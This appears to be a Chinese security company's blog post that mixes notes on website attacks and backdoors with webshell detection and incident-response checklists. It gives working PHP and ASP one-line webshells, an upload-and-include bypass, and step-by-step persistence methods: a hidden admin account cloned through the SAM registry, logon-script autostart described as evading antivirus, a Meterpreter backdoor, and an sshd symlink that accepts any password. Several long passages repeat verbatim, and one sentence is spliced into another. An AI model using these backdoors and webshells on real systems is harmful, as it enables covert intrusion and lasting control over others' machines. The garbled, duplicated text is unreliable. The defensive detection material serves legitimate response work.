服务热线
15527777548/18696195380
发布时间:2021-10-05
简要描述:
攻击者攻击网站的简易流程:信息探测->注入/xss点->获取数据->破解密码->登陆后台->上传webshell->提权控制服务器->渗透内网webshell在攻击过程中的作用文件操作,命令执行,数...
攻击者攻击网站的简易流程:
信息探测->注入/xss点->获取数据->破解密码->登陆后台->上传webshell->提权控制服务器->渗透内网
webshell在攻击过程中的作用
文件操作,命令执行,数据库操作,用户提权,shell反弹,权限维持
攻击者通过漏洞,第三方组件,**w用msfvenom生成war包,只用指定-f 后的参数为war就好了
影子账户:影子账户是指系统隐藏账户,在"控制面板-本地用户和组"里面看不见,但却有管理员权限的账户,
一般储存在注册表,影子账户的隐秘性十分之强
正常创建新用户的方式net user peng peng /add
创建影子用户的方式net user peng$ peng /add
隐藏账户无法使用"net user"命令查看,但是可以在"本地用户和组"可以查看
打开注册表"HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names"找到刚刚创建的
peng$查看类型,查看administrator的类型,找到administrator的user目录和peng$的user目录,将
administrator下的F值的内容复制到peng$的F值下面,然后将这peng$的name值和对应的目录的内容导出,
然后使用net user peng$ /del将peng$删除,再将两个注册表文件导入,影子用户2.0创建成功
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
下的键值为开机启动项,每一次开机都会执行键值对应的程序或bat脚本
Logon Scripts是优先于很多杀毒软件启动的,所以可以通过这种方式达到一定的免杀效果.在注册表
**HKEY_CURRENT_USER\Environment
这条路径下,添加新的字符串值,值的名字
为:UserInitMprLogonScript
**,数值数据为想要启动程序的路径
Userinit的作用是在用户在进行登陆初始化设置时,会指定执行的程序,可以修改
**HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
**的键
值来添加要执行的程序,多个程序用逗号隔开,注销登录后执行
Windows实现定时任务主要有schtasks与at两种方式,均可用于计划在某个日期和时间执行程序和脚本,其中
at命令在Windows8之后不再支持
创建一个名为test的计划任务每天12:00执行test.bat脚本schtasks /create /tn test /sc DAILY /st 12:00 /tr C:\test.bat /F
at 12:00 /every:Monday.Tuesday,Wednesday,Thursday,Friday C:\test.bat
Bitsadmin后门:Bitsadmin后台智能传输服务,传输速度慢
拿到靶机的shell,输入指令**run metsvc -A
**会创建一个后门
wmic statrup list full \\自启动的程序
wmic process call create "calc.exe" 在当前机器中执行指定程序
wmi时间分两类:
本地时间:有生命周期,为进程宿主的周期
永久性WMI时间订阅,储存在WMI库中,以SYSTEM权限运行,并且重启之后依旧存在
Empire是一个后渗透框架,可以使用它来创建一个永久性的WMI事件订阅,从而在目标主机下留下持久化后门
使用Empire的wmi模块之前,需要使用Empire获得目标靶机的shell
alias
alias ll =ls -l
alias命令可以设置别名
将alias语句写入/etc/profile文件中
排查方法:输入alias就可以查看设置的别名
ssh后门设计
TCP_Wrappers
PAM后门
SSH后门
执行下main的命令可以使用任意密码ssh连接机器8888端口ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -OPort=8888
如果被植入了木马,找到木马运行文件的PID之后,进行kill,但是发现kill了之后有出现了一个新的木马,发现这个木马并不能够直接杀死.
使用TOP查看进程,如果发现有木马进程.这个时候首要的是使用chmod 000 [木马路径]
先将木马的权限全部去掉,然后使用chattr +i
命令,给木马程序加一个锁.执行完之后,下一步就是查找这个程序对本机做了什么操作.
首先查看**/etc/crontab文件,查询是否添加了什么语句.然后是查看/var/spool/at/spool**/和**/var/spool/cron两个文件夹是否存在恶意文件.再查询/etc/init.d/下有无奇怪的进程.接下来查看/etc/cron. 查看这些目录下有无奇怪的文件。
最早查看netstat -anlpt
发现有恶意流量的时候,首先应该开启防火墙将此流量加入黑名单,/etc/hosts.deny
和/etc/hosts.allow
这两个文件起到一个微隔离的作用,例如再/etc/hosts.deny文件中加入sshd:ALL就禁止所有ssh进行连接,配置完需要重启服务.还需要查看/etc/rc.d目录,还要查看rc0.d下一些文件是否又被篡改
查看/usr/bin目录,可以使用ls -thl给目录下的文件进行排序,还有一些命令的md5值被篡改.需要找到相同版
本的机器,将命令的md5值一个一个进行对比
如果是在业务期间:首先封锁住流量->确认感染的范围->抑制木马程序->再将木马程序进行查杀->安装第
可以查看*/etc/local/log/maillog文件,它会收到系统的邮件,记录root做了什么行为
中了病毒,都得重装eb容器,拿到后台(各种姿势)等途径上传webshell
Webshell解析:?php echo system($_GET[cmd]);?>
用get请求提交一个名为CMD的变量,然后变量中的字符受到前面system函数的调用,变成系统命令用来执行
Webs hell是以web服务端脚本(程序)形式存在,与传统服务端脚本的运行原理相同.对服务器本地资源具备一定的操作能力,其操作本地资源的范围取决于解析器的权限
webshell没有连接时是无状态的,代码是可以连接数据库的
PHP一句话(webshell)代码简单容易暴露?php echo system($_GET[cmd]);?>
请求方式:get
asp一句话%eval request("asd")%>
?php eval($_POST[cmd]);?>
eval执行数据
$_POST提交方式
cmd密码?php include 'shell.jpg';?>
包含并运行包含的文件
包含的文件shell.jsp(txt.png啥都行)
可以先上传一串以文本(txt)形式的php代码,然后再次上传一个包含include函数的php代码.当include函数
的php代码上传成功,访问include函数的php代码,include函数所包含的文件名是之前所上传的txt为后缀的
文件,但是内容却是为php的代码,会将txt文件的内容当作php代码来执行
webshell原理:文件操作,命令执行,其他功能
webshell的基本特征
本地资源的操作:读取软硬件信息,本地硬盘文件的读写操作,调用本地命令
无上下级链接:无外部链接可连接至webshell,webshell通常不链接到本地其他文件
传参数,认证登陆,?cmd=ls
POST类型 需要webshell管理工具
webshell是由名字的
webshell是会在日志中留下痕迹的
webshell是有属性的
webshell是一种脚本功能的展现(TEXT)
web扫描/爬虫/google hack检测
基于web日志的检测
基于文件属性的检测
基于文件内容的检测
通过文件名搜索webshell:统计webshell常用名字
部分webshell会将操作目标参数放在url参数中
日志若可记录referer字段,可对搜索referer字段为空的链接,因为绝大多数webshell无上下级链接,侵略者会
直接访问webshell文件
搜索思路:搜索文件名,搜索write exec等参数,搜索referer字段为空的日志条目
对于使用post的webshell无法检测
文件可用属性:
文件创建日期:(设置文件的创建基准日期[用户附件目录除外],以创建时间为线索进行搜索,基准日期后所有文件)
文件最后修改日期:(方法同上,用于查找被插入到已有文件中的一句话木马)
文件的目录结构及md5值:(初始状态下设立安全基准值,安装状态下记录web目录结构并对目录中文件计
算,MD5值[可变文件和用户附件目录除外]定期进行匹配比对,并更新新的安全基准值)
特殊目录中的特殊类型文件
通过文件内容/类型检测webshell:
黑客常用关键词,常用命令执行,文件操作函数
基于文件属性的检测
特殊目录的特殊类型文件
用户可写入的目录
非用户可写入的文件类型
可通过文件头的方式进行排查以防止类似gif木马
针对webshell的各种特征码的小工具
NepPI,D盾,LinuxCheck,Webshellkiller,Fastsum MD5值校验
Webshell查杀最佳实践:目录结构md5校验;特征码扫描;页面title页面关键字;流量 人工识别(关键banner)
避免常规的漏洞:注入;后台泄露;前置缺陷;等等....
Webshell防范最强准则:可写的目录不可执行;可执行的目录不可写;权限 用户 tty;
安全扫描攻击:黑客利用扫描器对目标进行漏洞探测,并在发现漏洞后进一步利用漏洞进行攻击
暴力破解攻击:对目标系统账号进行暴力破解,获取后台管理员权限
系统漏洞攻击:利用操作系统,应用系统中存在漏洞进行攻击
Web漏洞攻击:通过SQL注入漏洞,上传漏洞,XSS漏洞,授权绕过等各种Web漏洞进行攻击
拒绝服务攻击:通过大流量DDOS或者cc攻击目标,使目标服务器无法提供正常的服务
恶意程序主要类型及危害病毒,蠕虫
->造成系统缓慢,数据损坏,运行异常
远控木马
->主机被黑客远程连接
僵尸网络程序(肉鸡行为)
->主机对外发动DDOS攻击,对外发起扫描攻击行为
挖矿程序
->造成系统资源打量消耗
网站恶意代码常见类型及危害Webshell后门
->黑客通过webshell控制主机
网页挂马
->网页被植入待病毒内容,影响访问者安全
网页暗链
->网站被植入菠菜,色情,游戏等广告内容
信息破坏事件系统配置篡改
->系统中出现异常的服务,进程启动项,账号等等
数据库内容篡改
->业务数据遭到恶意篡改,引起业务异常和损失
网站内容篡改
->网站页面内容被何可恶意篡改
数据信息泄露事件
->服务器数据,会员账号遭到窃取并泄露
其他破坏事件账号被异常登陆
->账号系统在异地登陆,可能出现账号密码的泄露
异常网络连接
->服务器发起对外的异常访问,连接到木马主控端,矿池,病毒服务器等行为
各种服务器Web日志存放位置
%systemroot%\system32\logfiles\w3svc1\ Windows IIS
其他服务器找到配置服务的配置文件 检索/log/out
通常:access.log,error.log,debug.log......
取证注意事项
工具携带;IP保存;验证留存;沟通;第三人;保护现场;
取证工具:Ghost;Windows PE;Linux CD;
日志分析:Log Parser 2.2;Grep
日志切割:Split|cat|dd|head|tail|awk
过程验证:Nc|curl|Wget|Sqlmap|Hackbar
处理过程
开始->过程->结果
开始:日志提取;日志分析;
过程:关联分析(头脑风暴);数据支持;
结果:回溯攻击;查找本源;
调取账号口令列表,检查弱口令账户
检查高权限组中是否存在越权账户
通过注册表查看隐藏克隆账户HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users
Windows常见的event ID对应事件
4624->登录成功;
4625->登录失败;
4634->注销成功;
4647->用户启动的注销;
4672->使用超级用户(如管理员)进行登录;
4720->创建用户;
4624->事件中的登录类型
进程排查思路
没有签名验证的信息
没有描述信息的进程
进程的启动用户
进程的路径是否合法
CPU或内存资源占用长时间过高的进程
可以在系统中找到服务文件,查看端口号是否合法
文件路径:C:\Windows\system32\drivers\etc\services
打开msconfig,查看启动项
查看注册表中的:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RUN
其他注册表启动项HKEY_CURRENT_USER\software\micorsoft\Windows\currentversion\run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Runonce
打开本地组策略,域环境还需要检测DC上的组策略:gpedit.msc本地组策略,查看是否存在启动脚本
查看所有任务计划,对比工作记录
管理工具中打开任务计划,还要再cmd中执行at检查计划
查看服务启动类型
打开services.msc检查启动类型为"自动"的服务
查找用户最近使用文件或者目录
在运行中输入用户名\recent
如果得到木马或者webshell的创建时间,就根据时间来搜索文件
第三方软件对注册表进行排查
打开Registry Workshop搜索注册表中某段时间修改的项
awd -F: '$3==0{print $1}' /etc/passwd
awd '/ \ $1|\ $6/{print $1}' /etc/shadow-
more /etc/sudoers | grep -v "^#\ | ^$" | grep "ALL=(ALL)"
影子账户:影子账户是指系统隐藏账户,在"控制面板-本地用户和组"里面看不见,但却有管理员权限的账户,一般储存在注册表,影子账户的隐秘性十分之强
正常创建新用户的方式net user peng peng /add
创建影子用户的方式net user peng$ peng /add
隐藏账户无法使用"net user"命令查看,但是可以在"本地用户和组"可以查看
打开注册表"HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names"找到刚刚创建的peng$查看类型,查看administrator的类型,找到administrator的user目录和peng$的user目录,将administrator下的F值的内容复制到peng$的F值下面,然后将这peng$的name值和对应的目录的内容导出,然后使用net user peng$ /del将peng$删除,再将两个注册表文件导入,影子用户2.0创建成功
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
下的键值为开机启动项,每一次开机都会执行键值对应的程序或bat脚本
Logon Scripts是优先于很多杀毒软件启动的,所以可以通过这种方式达到一定的免杀效果.在注册表**HKEY_CURRENT_USER\Environment
这条路径下,添加新的字符串值,值的名字为:UserInitMprLogonScript
**,数值数据为想要启动程序的路径
Userinit的作用是在用户在进行登陆初始化设置时,会指定执行的程序,可以修改**HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
**的键值来添加要执行的程序,多个程序用逗号隔开,注销登录后执行
Windows实现定时任务主要有schtasks与at两种方式,均可用于计划在某个日期和时间执行程序和脚本,其中at命令在Windows8之后不再支持
创建一个名为test的计划任务每天12:00执行test.bat脚本schtasks /create /tn test /sc DAILY /st 12:00 /tr C:\test.bat /F
at 12:00 /every:Monday.Tuesday,Wednesday,Thursday,Friday C:\test.bat
Bitsadmin后门:Bitsadmin后台智能传输服务,传输速度慢
拿到靶机的shell,输入指令**run metsvc -A
**会创建一个后门
wmic statrup list full \\自启动的程序
wmic process call create "calc.exe" 在当前机器中执行指定程序
wmi时间分两类:
本地时间:有生命周期,为进程宿主的周期
永久性WMI时间订阅,储存在WMI库中,以SYSTEM权限运行,并且重启之后依旧存在
Empire是一个后渗透框架,可以使用它来创建一个永久性的WMI事件订阅,从而在目标主机下留下持久化后门
使用Empire的wmi模块之前,需要使用Empire获得目标靶机的shell
alias
alias ll =ls -l
alias命令可以设置别名
将alias语句写入/etc/profile文件中
排查方法:输入alias就可以查看设置的别名
ssh后门设计
TCP_Wrappers
PAM后门
SSH后门
执行下main的命令可以使用任意密码ssh连接机器8888端口ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -OPort=8888
应急响应实操
如果被植入了木马,找到木马运行文件的PID之后,进行kill,但是发现kill了之后有出现了一个新的木马,发现这个木马并不能够直接杀死.
使用TOP查看进程,如果发现有木马进程.这个时候首要的是使用chmod 000 [木马路径]
先将木马的权限全部去掉,然后使用chattr +i
命令,给木马程序加一个锁.执行完之后,下一步就是查找这个程序对本机做了什么操作.首先查看**/etc/crontab文件,查询是否添加了什么语句.然后是查看/var/spool/at/spool**/和**/var/spool/cron两个文件夹是否存在恶意文件.再查询/etc/init.d/下有无奇怪的进程.接下来查看/etc/cron. 查看这些目录下有无奇怪的文件,最早查看netstat -anlpt
发现有恶意流量的时候,首先应该开启防火墙将此流量加入黑名单,/etc/hosts.deny
和/etc/hosts.allow
这两个文件起到一个微隔离的作用,例如再/etc/hosts.deny文件中加入sshd:ALL就禁止所有ssh进行连接,配置完需要重启服务.还需要查看/etc/rc.d目录,还要查看rc0.d下一些文件是否又被篡改
查看/usr/bin目录,可以使用ls -thl给目录下的文件进行排序,还有一些命令的md5值被篡改.需要找到相同版本的机器,将命令的md5值一个一个进行对比
如果是在业务期间:首先封锁住流量->确认感染的范围->抑制木马程序->再将木马程序进行查杀->安装第三方工具在机器上运行(rkhunter)
可以查看*/etc/local/log/maillog**文件,它会收到系统的邮件,记录root做了什么行为
中了病毒,都得重装
上一篇:如何使用DNSTake检测可能导致子域名接管的DNS区域
下一篇:内网渗透测试笔记
如果您有任何问题,请跟我们联系!
联系我们